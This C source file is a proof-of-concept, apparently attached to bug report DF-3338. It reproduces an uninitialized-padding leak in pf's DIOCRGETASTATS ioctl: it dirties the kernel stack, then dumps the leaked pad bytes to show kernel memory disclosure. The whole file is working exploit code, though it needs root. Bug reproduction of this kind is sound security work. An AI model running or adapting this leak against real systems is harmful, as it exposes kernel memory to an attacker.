/*
 * DF-3338 - pfr_get_astats()/PFRW_GET_ASTATS copies a stack struct
 * pfr_astats to userspace without initializing the 4 alignment-pad bytes
 * between pfras_a (20 bytes) and pfras_packets[] (8-byte aligned).
 *
 * Root cause: sys/net/pf/pf_table.c:1058-1081
 *   struct pfr_astats as;			<-- stack, uninitialized
 *   pfr_copyout_addr(&as.pfras_a, ke);		<-- bzero's only 20 bytes
 *   ... packets/bytes/tzero written ...
 *   COPYOUT(&as, w->pfrw_astats, sizeof(as));	<-- leaks pad bytes 20..23
 *
 * Requires root (/dev/pf 0600).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <net/if.h>
#include <net/pf/pfvar.h>

#define	NADDR	8

static void
hexdump_entry(const char *tag, struct pfr_astats *as, int idx)
{
	unsigned char *p = (unsigned char *)&as[idx];

	printf("%s[%d] pad(20..23)=%02x%02x%02x%02x  first16=%02x%02x%02x%02x"
	    "  a=[af=%d net=%d not=%d fb=%d]\n",
	    tag, idx,
	    p[20], p[21], p[22], p[23],
	    p[24], p[25], p[26], p[27],
	    as[idx].pfras_a.pfra_af, as[idx].pfras_a.pfra_net,
	    as[idx].pfras_a.pfra_not, as[idx].pfras_a.pfra_fback);
}

int
main(void)
{
	struct {
		struct pfioc_table io;
		struct pfr_table t[1];
	} ct;
	struct {
		struct pfioc_table io;
		struct pfr_addr a[NADDR];
	} ad;
	struct {
		struct pfioc_table io;
		struct pfr_astats as[NADDR];
	} st;
	int fd, i, round, nonzero = 0;

	fd = open("/dev/pf", O_RDWR);
	if (fd < 0) {
		printf("open /dev/pf: %s (kldload pf; run as root)\n",
		    strerror(errno));
		return (1);
	}

	/* create table "padlk" */
	memset(&ct, 0, sizeof(ct));
	strlcpy(ct.t[0].pfrt_name, "padlk", sizeof(ct.t[0].pfrt_name));
	ct.io.pfrio_buffer = ct.t;
	ct.io.pfrio_esize = sizeof(struct pfr_table);
	ct.io.pfrio_size = 1;
	if (ioctl(fd, DIOCRADDTABLES, &ct.io)) {
		printf("DIOCRADDTABLES: %s\n", strerror(errno));
		return (1);
	}

	/* add NADDR host addresses 10.66.0.1..8 */
	memset(&ad, 0, sizeof(ad));
	for (i = 0; i < NADDR; i++) {
		ad.a[i].pfra_af = AF_INET;
		ad.a[i].pfra_net = 32;
		ad.a[i].pfra_ip4addr.s_addr = htonl(0x0a420000 | (i + 1));
	}
	ad.io.pfrio_table = ct.t[0];
	ad.io.pfrio_buffer = ad.a;
	ad.io.pfrio_esize = sizeof(struct pfr_addr);
	ad.io.pfrio_size = NADDR;
	if (ioctl(fd, DIOCRADDADDRS, &ad.io)) {
		printf("DIOCRADDADDRS: %s\n", strerror(errno));
		return (1);
	}

	/*
	 * Repeat: first dirty the kernel stack with a deep ioctl
	 * (DIOCRTSTADDRS walks/copyouts per element), then read astats
	 * and inspect the pad bytes.
	 */
	for (round = 0; round < 12; round++) {
		memset(&st, 0, sizeof(st));
		st.io.pfrio_table = ct.t[0];
		st.io.pfrio_buffer = st.as;
		st.io.pfrio_esize = sizeof(struct pfr_astats);
		st.io.pfrio_size = NADDR;

		if (ioctl(fd, DIOCRTSTADDRS, &st.io) && errno != EFAULT) {
			/* just stack dirt; ignore errors */
		}
		if (ioctl(fd, DIOCRGETASTATS, &st.io)) {
			printf("round %d: DIOCRGETASTATS: %s\n", round,
			    strerror(errno));
			return (1);
		}
		for (i = 0; i < NADDR; i++) {
			unsigned char *p = (unsigned char *)&st.as[i];
			if (p[20] | p[21] | p[22] | p[23])
				nonzero++;
			if (round < 4 || (p[20] | p[21] | p[22] | p[23]))
				hexdump_entry("astats", st.as, i);
		}
	}
	printf("pad bytes non-zero in %d of %d entries over 12 rounds\n",
	    nonzero, 12 * NADDR);
	return (0);
}
